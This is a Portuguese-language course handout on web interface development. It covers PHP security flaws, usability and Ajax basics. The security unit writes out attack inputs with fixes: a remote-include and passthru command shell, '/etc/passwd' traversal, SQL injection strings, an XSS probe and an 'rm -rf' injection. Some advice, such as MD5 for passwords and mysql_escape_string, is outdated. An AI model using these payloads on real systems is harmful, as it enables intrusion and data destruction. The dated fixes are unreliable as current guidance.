Macromedia Flash MX 2004: Rich Media Design

Transcrição

DESENVOLVIMENTO DE
INTERFACES NA WEB
1
UNIDADE 1 1.1
1.2
CONCEITOS DE SEGURANÇA ............................................................................................................................................ 3
INVASÕES EM PHP ....................................................................................................................................................... 4
UNIDADE 2 2.1
DREAMWEAVER E O AJAX ...................................................................................................................... 91
ABORDAGEM SIMPLES SOBRE OS COMPONENTES DO SPRY ................................................................................................. 91
EFEITOS SPRY COM SPRY EFFECTS................................................................................................................................ 95
UNIDADE 8 8.1
MANIPULANDO O DOM EM JAVASCRIPT PARA RECURSOS COM AJAX ................................................... 58
ACESSO AOS ESTILOS DOS COMPONENTES DO DOCUMENTO................................................................................................. 58
BIBLIOTECAS LIVRES: A FACILIDADE NA MANIPULAÇÃO DE DOCUMENTOS................................................................................ 62
CRIANDO UMA JANELA ARRASTÁVEL ............................................................................................................................... 65
CRIANDO UMA “ÁVORE DE MENUS” ............................................................................................................................... 69
CRIANDO EFEITO “LIGHTBOX” ....................................................................................................................................... 74
ORDENANDO TABELAS ................................................................................................................................................. 75
AMPLINADO IMAGENS ................................................................................................................................................. 77
CRIANDO AVALIAÇÕES ................................................................................................................................................. 79
MENUS EM ABAS ....................................................................................................................................................... 81
EXIBINDO DICAS EM LINKS ............................................................................................................................................ 85
EXIBINDO UM CALENDÁRIO .......................................................................................................................................... 88
UNIDADE 7 7.1
7.2
REQUISIÇÕES DINÂMICAS EM AJAX AO PHP .......................................................................................... 49
CRIANDO UM DOCUMENTO XML TEXTUAL COM CONEXÃO AO BANCO DE DADOS .................................................................... 49
UNIDADE 6 6.1
6.2
6.3
6.4
6.5
6.6
6.7
6.8
6.9
6.10
6.11
ESTRUTURA DE UM DOCUMENTO XML .................................................................................................. 37
MONTANDO UM DOCUMENTO XML COM DOM E PHP. ................................................................................................... 39
MONTANDO UM XML EM PHP DE FORMA TEXTUAL ......................................................................................................... 43
RETORNO DO CONTEÚDO EM XML PARA O AJAX .............................................................................................................. 44
UNIDADE 5 5.1
INTERFACES - DESEMPENHO .................................................................................................................. 19
CONCEITOS ............................................................................................................................................................... 19
O QUE É AJAX? .......................................................................................................................................................... 19
OS QUATRO PRINCÍPIOS DO AJAX: ................................................................................................................................. 21
COMO COMEÇAR? ...................................................................................................................................................... 23
COMO TESTAR O NAVEGADOR? ..................................................................................................................................... 23
REQUISITANDO EM DIVERSOS BROWSERS:........................................................................................................................ 25
ENVIANDO A REQUISIÇÃO - PARÂMETROS DO ENVIO DA REQUISIÇÃO ..................................................................................... 27
VERIFICANDO OS DADOS RETORNADOS PELO SERVIDOR: ..................................................................................................... 29
RETORNOS EM TEXTO SIMPLES: ..................................................................................................................................... 29
UNIDADE 4 4.2
4.3
4.4
INTERFACES - APRESENTAÇÃO ............................................................................................................... 16
USABILIDADE ............................................................................................................................................................. 16
UNIDADE 3 3.1
3.2
3.3
3.4
3.5
3.6
3.7
3.8
3.9
INTERFACES - SEGURANÇA ....................................................................................................................... 3
TRABALHO FINAL: .................................................................................................................................. 99
APLICANDO OS RECURSOS NA PRÁTICA: ........................................................................................................................... 99
2
Desenvolvimento de Interfaces na Web
Unidade 1 -
Interfaces - Segurança
1.1 Conceitos de Segurança
Quando pensamos desenvolvimento de interfaces para Web é inevitável observarmos questões de
segurança e desempenho. Neste sentido são cada vez mais crescentes as tentativas de
padronização e definições de formatação de linguagem, processos e protocolos de comunicação.
Por isso, o termo Segurança da Informação que está relacionada com proteção de um conjunto de
dados, no sentido de preservar o valor que possuem, ganha cada vez mais destaque.
Os três principais atributos que são levados em consideração para a análise e orientação, além do
planejamento e implantação da segurança são: CIA (Confidentiality, Integrity and Availability) -Confidencialidade, Integridade e Disponibilidade.
Outros atributos importantes são a irretratabilidade e a autenticidade. Graças a evolução do
comércio eletrônico e das redes sociais com a Internet 2.0, a privacidade é também uma grande
preocupação.
Os atributos básicos (segundo os padrões internacionais) são os seguintes:

Confidencialidade - é o atributo que limita o acesso a informação tão somente às somente
das pessoas/sistemas que possuem autorização.

Integridade – o atributo que garante que a informação manipulada mantenha todas as
características originais estabelecidas pelo proprietário da informação, incluindo controle de
mudanças e garantia do seu ciclo de vida (nascimento, manutenção e destruição).

Disponibilidade - propriedade que garante que a informação esteja sempre disponível para
o uso legítimo, ou seja, por aqueles usuários autorizados pelo proprietário da informação.
Existem algumas metodologias de segurança que são utilizadas na tentativa de frear as
constantes invasões que muitos sistemas vem sofrendo, são elas:

Mecanismos de criptografia. Permitem a transformação reversível da informação de forma
a torná-la ininteligível a terceiros. Utiliza-se para tal, algoritmos determinados e uma chave
3
secreta para, a partir de um conjunto de dados não criptografados, produzir uma seqüência de
dados criptografados. A operação inversa é a decifração.

Assinatura digital. Um conjunto de dados criptografados, associados a um documento do
qual são função, garantindo a integridade e autenticidade do documento associado, mas não a
sua confidencialidade.

Mecanismos de garantia da integridade da informação. Usando funções de "Hashing" ou de
checagem, consistindo na adição.

Mecanismos de controle de acesso. Palavras-chave, sistemas biométricos, firewalls,
cartões inteligentes.

Mecanismos de certificação. Atesta a validade de um documento.

Integridade. Medida em que um serviço/informação é genuíno, isto é, está protegido contra
a personificação por intrusos.

Honeypot: É o nome dado a um software, cuja função é detectar ou de impedir a ação de
um cracker, de um spammer, ou de qualquer agente externo estranho ao sistema, enganandoo, fazendo-o pensar que esteja de fato explorando uma vulnerabilidade daquele sistema.

Protocolos seguros: uso de protocolos que garantem um grau de segurança e usam alguns
dos mecanismos citados aqui
1.2 Invasões em PHP
A linguagem PHP é uma das mais difundidas na Internet e por conseqüência também a que
possui o maior número de tentativas, e muitas vezes sucesso, de invasão. A utilização da
combinação de PHP, Mysql e Apache para o desenvolvimento de sistemas e-commerce, abriu um
amplo caminho para a atuação dos crackers.
Ë fundamental observar alguns procedimentos simples, mas que podem fazer muita diferença,
para a segurança de seu sistema. Vejamos alguns deles.
1.2.1 Variáveis Globais
Este tipo de invasão já é bem antigo, e foi tratado em muitos artigos e fóruns de discussão, no
entanto ainda é comum encontrarmos programadores que não se preocupam com este tipo de
falha na segurança
No php.ini (arquivo de configuração do PHP) a variável register_globals até a versão 4.2.0 o
padrão era ON (ativada), porém a partir dela o padrão tornou-se OFF (desativada), mas muitos
servidores ainda usam ON, pois muitos scripts antigos foram feitos com base o register_globals
ON, então obviamente não funcionam quando o padrão é OFF.
O problema quando register_globals está ON é que as variáveis GET/POST se tornam variáveis
globais.
4
Por exemplo:
http://site.com.br/teste.php?id=4&cidade=poa
Como register_globals está ON, as variáveis id e cidade tornaram-se variáveis globais.
<?php
echo $id; // 4
echo $cidade; // poa
?>
O problema é que isso permite que variáveis sejam injetadas via url. Um script com grande
vulnerabilidade poderia ser um como esse:
<?php
if(Validausuario($usuario, $senha)) {
$logado = 1;
}
// se tiver valor 1 é como se fosse autenticado
if($logado == 1) {
// se estiver logado ele vê a pagina admin.php.
include("admin.php");
}
?>
No entanto se fosse digitado no browser o endereço: teste.php?logado=1.
O script entenderia que a pessoa está logada, pois $logado se tornou uma variável global com o
valor 1.
Uma forma mais simples de “corrigir” o problema seria assim:
<?php
if(Validausuario($usuario, $senha)) {
$logado = 1;
} else {
$logado = 0;
5
}
?>
Desse modo, até mesmo se o $logado for injetado via url, ele se tornaria 0.
Com register_globals OFF, variáveis que são passadas como parâmetro via url, não se tornam
variáveis globais. A forma certa de utilizar é o simples uso das chamadas variáveis “super globais”,
tais como $_GET, $_POST, $_SERVER, etc.
O uso das “super globais” sempre é recomendado por razões de segurança e também por deixar
o código mais limpo e seguro. Pois atreves de seu uso saberemos quais são as variáveis que
estão sendo envidas pelos métodos GET/POST e quais não estão.
1.2.2 Arquivos include
Seguir as orientações de encapsulamento de código e trabalho em camadas, com o uso de
padrões como o MVC é altamente recomendável. Para tal, na linguagem PHP utilizamos a
chamadas a arquivos externos com o uso dos comandos require ou include.
Vejamos o seguinte exemplo:
<?php
//aqui ficaria o cabeçalho
$page = $_GET['page'];
include($page);
//aqui ficaria o rodapé
?>
Deste modo, é possível colocar conteúdos específicos em arquivos separados. Exemplo:
about.php, download.php, e o link para essas paginas seriam algo como:
index.php?page=about, index.php?page=downloads.php.
No entanto nosso código ficaria vulnerável. No caso de a requisição a nossa página ser realizada
da seguinte formada:
index.php?page =.. /.. /.. /.. /.. /.. /.. /etc/passwd
6
Dessa forma seu arquivo de senhas fica vulnerável para ser visualizado, ou qualquer outro arquivo
que esta rodando sob o PHP (HTTPD ou Apache normalmente), pode ser lido por qualquer
usuário.
O outro problema é se o parâmetro 'URL Wrapper', também localizado no arquivo php.ini, estiver
marcado como ON (que é o valor por padrão), com isso é possível fazer um upload de um arquivo
para outro Web Server.
Vejamos outro exemplo:
<?php
passthru($_GET['cmd']);
?>
Neste
caso,
ao
inserirmos
na
barra
de
enderços
o
seguinte
valor:
index.php?page=http://outrosite.com.br/hax0r.txt&cmd=whoami poderemos então
rodar qualquer comando em seu servidor ou poderemos mostrar detalhes da conexão com o
banco de dados, ou seja, basicamente rodar qualquer código PHP.
A função include recupera um arquivo de um servidor, e então executa isso como um código PHP,
algo que é obviamente muito perigoso.
Um método seguro de incluir arquivos seria como o abaixo:
<?php
//cabeçalho do site
$page = $_GET['page'];
//para ter certeza que $page é alfanumérico.
if(eregi("^[a-z0-9\-_\.]+$", $page, $regs)) {
$dir = "includes/"; //pode ser branco
$ext = ".php"; //.php, .html, .txt, whatever
if(file_exists($dir . $page . $ext)) {
include($dir . $page . $ext); //ou outro tipo de extensão se não
for necessariamente um arquivo .php
7
} else {
echo '404 - Not Found'; //ou algo similar
}
} else {
echo 'Conteúdo do site'; /rodapé do site
}
?>
Então o link: index.php?page=about (assumiria about.php dentro do diretório 'includes').
Se o arquivo que será incluído não contém código PHP e possui apenas texto, então o correto é a
utilização da função readfile() ao invés de include()/require(), pois ambos irão
executar qualquer código PHP que o arquivo incluído contiver, no entanto a função readfile()
não o fará.
Usar um diretório separado para incluir arquivos é uma ótima for de evitar urls como:
"includes/http://blah.com/lala.txt" que neste caso não irá funcionar. Não é
realmente necessário esta prática se utilizarmos a função eregi() como filtro nas urls, no entanto
é recomendável não deixá-los na raiz.
É comum encontrarmos arquivos que serão incluídos com a extensão '.inc'. Esta prática é
perigosa, pois arquivos com a extensão 'inc' não são interpretados como arquivos com um código
PHP pelo Web Server e seu conteúdo será visualizado pelo navegador como um texto.
Esta prática expõe muitas vezes arquivos, importantes como os arquivos de configuração que
podem conter senhas de banco de dados ou outros dados considerados sigilosos.
Arquivos que serão incluídos devem ter a extensão .php, como por exemplo: config.inc.php.
Obviamente a manutenção do “inc” é claramente um definição utilizada para um melhor controle
dos arquivos que estão sendo inseridos
1.2.3 SQL injection
SQL injection ganhou muita visibilidade nos últimos devido ao grande numero de sites que tem
seus bancos de dados expostos a falhas.
A exposição dos sistemas de gerenciamento de banco de dados é definida pela construção da
codificação da linguagem que faz conexão com o mesmo, mas também por regras internas de
segurança. Estas regras podem, por exemplo, definir se o usuário que realiza a conexão com o
banco possui permissão de visualizar a estrutura de todas as tabelas ou mesmo sua exclusão.
Aqui iremos nos deter apenas na fragilidade do código PHP, que pode permitir a invasão do banco
de dados.
8
Vamos nos deter em um simples sistema de login, que valida usuários do banco dados:
<?php
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT *
password='$password'";
FROM
ùsers`
WHERE
username='$username'
AND
$result = mysql_query($query);
if(mysql_num_rows($result) > 0) {
$admin = 1;
} else {
$admin = 0;
}
if($admin == 1) {
// blah blah, restricted content here.
}
?>
Observamos então, que o que código acima realiza é pegar o username e o password recebidos
do formulário e checar no banco de dados para conferir se os mesmos são válidos. Vamos
considerar como um usuário válido, "admin", por exemplo.
Se nós colocarmos no campo de login da pagina:
admin'#
Vejamos o resultado se reescrevermos a SQL com as variáveis expandidas:
<?php
$query
=
"SELECT
password='xxx'";
*
FROM
ùsers`
WHERE
username='admin'#'
AND
?>
O problema aqui é que as aspas simples não estão sendo escapadas adequadamente. No
MySQL, o símbolo (#) é considerado como um comentário, como as barras duplas (//) no PHP ou
9
C++, tudo após o (#) passa a ser ignorado pois passa a ser um comentário, ignorando a
verificação da senha. Obviamente isto só irá funcionar se você tiver um usuário válido.
No entanto, você não precisa necessariamente utilizar um usuário válido pode-se realizar o teste
usando:
' OR 1=1#
O resultado disto na conversão da SQL com as variáveis expandidas::
<?php
$query = "SELECT
password='xxx'";
*
FROM
ùsers`
WHERE
username=''
OR
1=1#'
AND
?>
Isso irá selecionar todos os usuários do banco de dados. Se a função de login apenas contar o
numero de linhas retornadas apos a query como a do exemplo. Então provavelmente irá assumir
os dados do primeiro usuário retornado. Que pode ser possivelmente um admin.
Há várias coisas perigosas que podem ser realizadas com SQL injection. O problema principal são
as aspas simples serem interpretadas como parte da query, que obviamente não é o que
desejamos. O precisa ser feito é sempre ter certeza que elas serão escapadas, de forma que ' se
tornaria \' (\ é usado quando se escapa uma string). O melhor modo para fazer isto é usar a função
nativa do PHP mysql_escape_string, como o exemplo abaixo:
<?php
$username = mysql_escape_string($_POST['username']);
$password = mysql_escape_string($_POST['password']);
$query = "SELECT *
password='$password'";
FROM
ùsers`
WHERE
username='$username'
AND
//etc etc
?>
Agora se nós tentarmos entrar com o campo username contendo admin'# aconteceria o seguinte:
10
<?php
$query = "SELECT
password='xxx'";
*
FROM
ùsers`
WHERE
username='admin\'#'
AND
?>
As aspas simples são escapadas com sucesso e a query não está mais vulnerável.
Se você sabe que uma determinada variável irá ter o valor de inteiro, então o melhor a ser feito é:
<?php
$offset = (int)$_GET['offset'];
$query = "SELECT * FROM `cakes` LIMIT 20 OFFSET '$offset'";
?>
Então só um valor numérico pode ser passado deste modo, se um texto for enviado o valor da
variável $offset será 0.
Praticamente tudo precisa ser escapado antes de ser enviado ao banco de dados. Os
programadores tendem a esquecer de coisas que não estão vindos das variáveis GET/POST,
como o HTTP_REFERER ou HTTP_USER_AGENT, estes podem ser facilmente modificados para
conter uma SQL injection que deve ser escapado antes de ser colocado em uma query.
Nota: Para você tirar as barras que foram incluídas para escapar, quando for mostrar os dados
para o usuário use stripslashes(). Para evitar barras desnecessárias:
<?php
$article = mysql_fetch_array($fnord);
echo $article['title']; // Badger\'s Parade
echo stripslashes($article['title']); // Badger's Parade
?>
1.2.4 Protegendo partes dos arquivos
11
Outra falha comum é esquecer a checagem do login em determinadas partes do código, como
páginas internas que são visualizadas após o login. Vejamos este exemplo:
postnews.php:
<?php
if($_SERVER['REQUEST_METHOD'] == 'POST') {
header("Location: news.php");
exit;
}
// Post News:
if(!UserLoggedIn()) {
echo "Erro, Você não está logado";
die;
}
// html do formulário
?>
Se um usuário não autenticado fosse a essa pagina, então um erro iria aparecer. Se, no entanto
um valor vindo do campo POST fosse enviado, seria possível ter acesso ao news.php sem estar
autenticado.
É muito fácil de esquecer-se de proteger pedaços específicos de códigos, especialmente quando
usuários logados e não logados tem acesso à mesma pagina e irão ver conteúdos diferentes,
como também existem paginas que apenas quem está logado pode ter acesso. Sempre se lembre
de proteger qualquer parte do código com checagens de login antes de executar o resto do código.
1.2.5 Cross Site Scripting (CSS/XSS)
Cross Site Scripting é feito quando você não filtra tags HTMLs vindas de um usuário e acaba
executando elas, por exemplo:
<?php
if(mysql_num_rows($result) < 1) {
echo "Sua busca por {$_GET['q']} não encontrou resultados";
12
exit;
} else {
//blah
}
?>
search.php?q=<script>alert("hello");</script>
Em uma busca mal sucedida exibiria isto;
"Sua busca por <script>alert("hello");</script> não encontrou resultados "
Esse Javascript seria interpretado pelo navegador e uma alerta seria exibido.
Enquanto esse exemplo pode parecer relativamente inofensivo, é possível colocar coisas que irão
pegar dados de cookies, podendo até roubar sessões.
Os dados devem ser checados antes de serem interpretados sempre, como no caso de SQL
injection, em XSS também, existem dois métodos para fazer isso:
. A função strip_tags(); Irá remover todas as tags HTML de uma string;
. A função htmlspecialchars(); Que irá converter caracteres especiais do HTML para um tipo
que não poderá ser interpretado no browser como função do HTML e sim texto.
<?php
echo " Sua busca por
resultados"; //converte
echo
"
Sua
busca
resultados"; //remove
".htmlspecialchars($_GET['q'])." não encontrou
por
".strip_tags($_GET['q'])."
não
encontrou
?>
O correto é que nenhum valor vindo de um usuário deve ser executado sem uma devida
checagem antes.
1.2.6 Ver código fonte
13
Exitem alguns sites que permitem através de funções específicas que seus usuários vejam o
código
fonte
de
determinadas
páginas.
Normalmente
um
link
é
chamado
viewsource.php?file=about.php ou algo do gênero.
Esta funcionalidade apesar de ser bem interessante, geralmente acaba deixando o site vulnerável
para que se possa ver qualquer código fonte de um arquivo no servidor. Algo que certamente não
é desejado, pois certos arquivos podem conter senhas de bancos de dados etc.
<?php
// script vulnerável
if($file == 'config.php') {
die("Você não pode visualizar este arquivo");
}
?>
O problema com isto é que você pode fazer o seguinte viewsource.php?file=./config.php
e isso irá checar com os caracteres adicionais ./.
O melhor jeito de fazer isso é:
<?php
// agora sim
if(stristr($file, "config.php")) {
die("Você não pode visualizar este arquivo ");
}
?>
Sendo que a função stristr(), irá exibir o conteúdo da string $file a partir do trecho “config.php”,
eliminando assim os caracteres adicionais.
1.2.7 Comandos shell
14
Comandos shells são outro exemplo de falha de vulnerabilidade. No PHP executar comandos
shell é fácil, pois existem varias funções para isso, como system(), exec(), popen(), backticks,
passthru, etc.
De forma padrão não devemos utilizar qualquer valor vindo de um usuário para executar como um
comando shell:
<?php
$text = $_GET['text'];
$banner = `banner $text`;
?>
Se alguém colocar: x; rm; -rf; /; isso causaria muitos problemas..
Você pode usar a função escapeshellcmd(); para se proteger de dados perigosos vindos de
usuários. Está função escapa qualquer caractere em uma string que possa ser utilizado para
enganar um comando shell para executar comandos arbitrários. E também é aconselhável usar
alguma regex para ter certeza. O ideal é não utilizar valores de um usuário em comandos shell.
1.2.8 Senhas de banco de dados
É extremamente aconselhável utilizar algum tipo de encriptação no armazenamento de suas
senhas. O MD5 é um dos tipos de encriptação suportado pelo PHP e recomendado para a maioria
das aplicações. Existem outras metodologias de encriptação e devem ser avaliadas sempre que se
pensa em segurança de dados.
15
Unidade 2 -
Interfaces - Apresentação
2.1 Usabilidade
O termo usabilidade na Informática é usado para definir a facilidade com que as pessoas podem
utilizar um sistema a fim de realizar uma tarefa específica e importante. A usabilidade pode
também se referir aos métodos de mensuração da usabilidade deste mesmo sistema.
A usabilidade está diretamente ligada ao diálogo na interface e a capacidade do software em
permitir que o usuário alcance suas metas de interação com o sistema. Ser de fácil aprendizagem,
permitir uma utilização eficiente e apresentar poucos erros, são os aspectos fundamentais para a
percepção da boa usabilidade por parte do usuário. Mas a usabilidade pode ainda estar
relacionada com a facilidade de ser memorizada e ao nível de satisfação do usuário.
A necessidade de entender as necessidades dos usuários no ambiente virtual facilita a
compreensão do conteúdo disponibilizado, fazendo-o auto-suficientes para navegar pelos diversos
conteúdos. Até quem tem dificuldade motora ou problemas de navegação por falta de
conhecimento técnico poderá alcançar o que deseja o produtor da informação, se os processos de
usabilidade forem respeitados, deixando o usuário da página web mais à vontade, mais
independentes.
16
2.1.1 Usuário como foco
No desenvolvimento de um sistema ou adaptação de novos módulos para um sistema é
importante que se siga um padrão de mercado ou quando possível agradar o máximo de
características semelhantes as de uma interface que o usuário alvo já esteja acostumado.
Um dos pontos importantes na aceitação da interface é a maneira com que o desenvolvedor irá
"driblar" a poluição visual que pode acabar tornando uma interface muito diferente dos padrões de
uma interface amigável.
O paradigma de desenvolvimento de uma interface com o usuário deve permitir a realização de
sucessivos ciclos de "análise/concepção/testes", com a necessária retro-alimentação dos
resultados dos testes, de um ciclo a outro. A estratégia consiste em, a cada ciclo, identificar e
refinar continuamente o conhecimento sobre o contexto de uso do sistema e as exigências em
termos de usabilidade da interface. Na seqüência dos ciclos se constroem versões intermediárias
da interface do sistema que são submetidas a testes de uso, em que os representantes dos
usuários simulam a realização de suas tarefas. Inicialmente eles participarão de simulações
"grosseiras", usando maquetes, mas, com o avanço do desenvolvimento, eles recorrerão a
protótipos e versões acabadas do sistema, em simulações mais e mais fidedignas.
O objetivo é avaliar a qualidade das interações e levar em conta os resultados dessas avaliações
para a construção de novas versões das interfaces. Se implementada desde cedo no
desenvolvimento, tal estratégia pode reduzir o risco de falhas conceituais do projeto, garantindo
que, a cada ciclo, o sistema responda cada vez melhor às expectativas e necessidades dos
usuários em suas tarefas.
Uma interface amigável, deve fazer com que o usuário se sinta bem ao utilizar o sistema e o
mesmo deve transmitir a ele uma sensação de que é fácil de ser operado. Deve ter comandos
intuitivos e visuais caprichados.
Muitas vezes a simplicidade e a padronização é o segredo para colocar o sistema que está sendo
desenvolvido ao público com uma interface amigável.
Interfaces muito cheias de animações e imagens, ao contrário do que se pensa, criam inúmeras
dificuldades ao usuário em navegar ou clicar em um botão específico no programa ou consultar
uma informação, além de transmitir uma impressão de que o mesmo é complexo e difícil de ser
operado.
17
É sempre indicado que se use cores padrões do sistema operacional. Cores fortes, como
vermelho, devem ser usadas apenas em situações que devem chamar a atenção do usuário.
O software a ser utilizado deve ter atributos (ergonômicos e de funcionalidade) que propiciem ou
mesmo incentivem o desenvolvimento de posturas autônomas de aprendizado. É preciso
identificar que atributos são estes. O já tradicional e conhecido conceito de interface amigável deve
ser revisto a partir de tais hipóteses. As hipóteses construídas na dimensão pedagógica podem
agora ser analisadas da perspectiva técnica.
A primeira hipótese afirma que a tarefa que o usuário vai realizar deve ser prioritária na definição
da interface.
Já a segunda hipótese, sustenta que o conhecimento das características técnicas do hardware e
do software deve ocorrer na medida em que o uso do equipamento progride, ou seja, na medida
em que a necessidade desse conhecimento se impõe ao sujeito que aprende. No âmbito do
projeto de interfaces tal hipótese está relacionada com o princípio geral, pelo qual, deve-se
minimizar a carga de conhecimentos externos ao domínio da realização da tarefa, necessários à
operação do ambiente.
A análise da terceira hipótese na abrangência das características técnicas da ferramenta não é tão
simples. Esta hipótese fixa que o aprendizado autônomo pressupõe relações de cooperação entre
os aprendizes. Ora, a nível técnico a implementação de sistemas que permitam o trabalho
cooperativo entre vários usuários tem, por excelência, sido buscada com a tecnologia de redes de
computadores, com os sistemas que permitem o compartilhamento de tarefas como a construção
distribuída de base de dados (por exemplo).
18
Unidade 3 -
Interfaces - Desempenho
3.1 Conceitos
Quando pensamos no desenvolvimento de interfaces para WeB, não podemos deixar de pensar
em questões de performance. Mesmo com o aumento constante da velocidade da difusão da
banda larga, a Internet ainda possui um volume significativo de usuários que ainda possuem
conexões de baixa performance.
Alem disso, o uso cada vez mais comum dos meios digitais para comercio eletrônico, tem elevado
o grau de importância dado a performance. Neste âmbito, apenas alguns segundos podem ser
cruciais para a definição da concretização ou não de um volume maior de vendas.
Existem várias tecnologias que se popularizaram para este tipo de aplicação, dentre elas podemos
citar .net, php, jsp, javascript, XML, mas cada uma delas tem sua participação no desenvolvimento
de sistemas para web.
A combinação de linguagens mais popular é a chamada Ajax, da qual veremos mais detalhes nas
próximas unidades.
3.2 O que é Ajax?
Ao contrário do que muitos pensam Ajax não é uma nova tecnologia, e sim a junção de tecnologias
existentes no âmbito web que unidas melhoram tanto a performance quanto a sistemática de
navegação em website nos quesitos de usabilidade e funcionalidade.
AJAX é a abreviação de Assyncronous Javascript and XML, ou seja, o acesso a dados de forma
Assíncrona no servidor utilizando-se linguagem Javascript no navegador e arquivos XML gerados
por alguma linguagem dinâmica no servidor.
Arquivos XML (eXtensible Markup Language) tem-se tornado populares na difusão e
compartilhamento de dados e acessibilidade para dispositivos moveis por exemplo. Veremos em
breve o formato e a maneira que estes arquivos são interpretados.
O surgimento desta tecnologia é tratado junto com uma serie de outras modificações e
padronizações na web que formam o paradigma da Web 2.0, onde conceitos que visam o conforto
do usuário e a facilidades na navegação imperam junto com padrões já estabelecidos com o w3c.
Veja abaixo um diagrama que expressa um pouco melhor este conceito:
19
Como sabemos devido ao Javascript ser uma linguagem Client Side não é possível realizar a
leitura de um arquivo texto comum pelo Javascript, pelo menos de forma que este reflita as
informações e comportamentos retornados pelo servidor, desta maneira ficamos apegados à uma
forma de poder executar um arquivo dinâmico do outro lado, sem que este seja exibido, ou sequer
acessado diretamente pelo cliente.
A forma que estes dados serão retornados será em XML ou através de uma String que será
tratada por nós no Javascript.
Exemplos simples de aplicações com Ajax, são simples formulários web que não necessitam ser
recarregados para buscarem determinadas informações do servidor, como o caso de o usuário
selecionar um estado e logo após aparecem as opções de seleção de cidades do respectivo
estado selecionado no processo anterior. Desta forma ganhamos tempo de navegação e
satisfação do usuário que está navegando em nosso site.
Veja abaixo alguns outros exemplos práticos:
Carrinho de compras: utilizando-se da manipulação em DOM o usuário pode arrastar e soltar
produtos diretamente dentro do carrinho, sem a necessidade de esperar por inúmeras requisições
da pagina ao servidor.
Formulários com grande número de campos: possibilidade de selecionar os campos que serão
preenchidos e estes já auto formularem os dados disponíveis em outros elementos do formulário,
sem o recarregamento da página.
Auto completar: recurso já disponível em aplicativos que são executados no desktop também
pode ser implementado em um site da internet, sugerindo palavras conforme os caracteres que o
usuário digita no teclado em determinado campo do formulário.
20
3.3 Os quatro princípios do AJAX:
3.3.1 O navegador hospeda uma aplicação e não o conteúdo:
Em uma aplicação web clássica o navegador faz o papel de uma espécie de terminal burro. Ele
não sabe absolutamente nada do que o usuário esta realmente realizando em suas ações
conseqüentes. Sendo que inúmeras solicitações devem ser feitas ao servidor pela sessão do
usuário para que o conteúdo do site seja atualizado.
Quando a sessão do usuário é iniciada no servidor, o site simplesmente carrega uma interface
com o que foi retornado, sendo que qualquer outra interação do usuário será processada no lado
do servidor, e novamente o site será recarregado para que estas sejam atualizadas (exemplo
clássico de comercio eletrônico).
Já em uma aplicação AJAX a parte lógica da operação é movida para o navegador (lado do
cliente), como mostrado abaixo:
21
Uma aplicação AJAX bem desenvolvida elimina diversas etapas de requisições ao servidor,
deixando a aplicação agir de forma mais inteligente, e ganhando-se assim um considerável tempo
de navegação no site. Veja o gráfico abaixo:
Portanto, vamos a partir de agora abordar um novo conceito no processo de requisição de dados,
e dividir melhor as tarefas, bem vindo ao AJAX.
22
3.4 Como começar?
Um dos maiores empecilhos da utilização do Javascript sempre foi a questão de compatibilidade
entre os navegadores em uso, atualmente temos divergências entre os métodos de acessibilidade
dos navegadores mais populares (Mozilla Firefox e Internet Explorer).
Para isso existem maneiras de solicitar as requisições identificando qual o navegador que está
sendo usado pelo usuário no momento de acesso ao site.
Utilizaremos um método conector conhecido como Requisitor XML via HTTP. Para acessarmos
este elemento criaremos uma função que simplesmente realizará este processo. O navegador
Microsoft utiliza um componente adjacente acessado por controle ActiveXObject.
3.5 Como testar o navegador?
Sabemos que no Javascript se alguma instrução ou erro de sintaxe ocorre durante o processo
muitas etapas são abortadas e muitas vezes um erro é gerado e retornado na tela do navegador,
para o cliente isso é sinônimo de site mal estruturado e desenvolvido, surge então a possibilidade
de tratarmos estes erros e retornarmos algo mais Suva no momento de tratar este problema.
Tentativa e retorno (TRY and CATCH)
Veja o exemplo a seguir:
var s;
var a = new Array("maçã", "banana")
s = a[3].substring(0,4);
document.write(s);
O exemplo acima se executado irá retornar um erro dizendo que o vetor não possui a posição
solicitada, e que não é possível executar a função substring no elemento desejado.
23
Caso quiséssemos executar este mesmo processo de forma que caso algo de errado seja
retornado um erro coerente para o usuário poderíamos usar o TRY and CATCH.
Veja a atualização do código abaixo:
var s;
var a = new Array("maçã", "banana")
try{
s = a[3].substring(0,4);
}catch(e){
s = “Ocorreu um erro no script!”;
}
document.write(s);
O TRY and CATCH é um teste seqüencial que sempre retorna um valor e que visa tratar um erro
que possa interromper a execução do script de forma grosseira.
A sintaxe é dada da seguinte maneira:
try {
bloco com código normal mas que pode gerar erros
} catch(exceção) {
bloco com código capaz de fazer a recuperação dos erros
}
Ou em pseudocódigo:
tentar {
bloco com código normal mas que pode gerar erros
} retorna(exceção) {
bloco com código capaz de fazer a recuperação dos erros
}
NOTA: Apesar de estas instruções não fazerem parte do padrão ECMAScript, elas são suportadas
por todos os browsers importantes e são de grande utilidade para a construção de código robusto.
Em qual circunstância será usado o TRY and CATCH?
24
A acessibilidade ao XML varia de navegador para navegador, sendo que se tentarmos acessá-lo
de uma forma não disponível no navegador do usuário uma série de erros será retornada.
3.6 Requisitando em diversos browsers:
Utilizando-se da função TRY and CATCH criaremos uma função especifica para utilizarmos o
AJAX no navegador do usuário, está usará os seguintes métodos para acessar estes
componentes:
Internet Explorer:
Active XObject(“Msxml2.XMLHTTP”):
AtiveXObject(“Microsoft.XMLHTTP”);
Firefox, Opera, Saffari, e outros:
XMLHttpRequest;
Onde:
XMLHTTP: Objeto Javascript que torna possível a comunicação assíncrona com o servidor, sem a
necessidade de recarregara página por completo. Este objeto fazer parte da especificação DOM
nível 3.
Veja um exemplo da função abaixo:
function criaxmlhttp(){
try{
xmlhttp = new XMLHttpRequest();
}catch(e){
try{
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}catch(e1){
try{
xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
}catch(e2){
xmlhttp = false;
document.write("Navegador não da suporte a Ajax!");
}
}
}
25
}
Com esta função iremos ao longo do curso prosseguir com a consulta assíncrona de dados no
servidor, sendo que como podemos analisar em ultimo caso é retornado um erro informado que o
navegador do usuário não é compatível com AJAX.
26
3.7 Enviando a requisição - parâmetros do envio da
requisição
Após termos estabelecido qual o objeto de conexão será utilizado pelo cliente para a conexão
assíncrona, deveremos então criar uma nova função que será responsável por requisitar
determinado arquivo dinâmico no servidor e realizar assim a solicitação e futuramente a leitura dos
dados retornados pelo servidor.
Para realizar a requisição utilizaremos do método OPEN no qual serão passados três parâmetros:
objeto.open(MÉTODO, URL, ASSINCRONA?);
Onde:
Objeto: objeto XmlHTTP gerado pela função anteriormente vista.
Método: GET ou POST.
Assíncrona: valor booleano no qual TRUE representa que a conexão é assíncrona, e necessita de
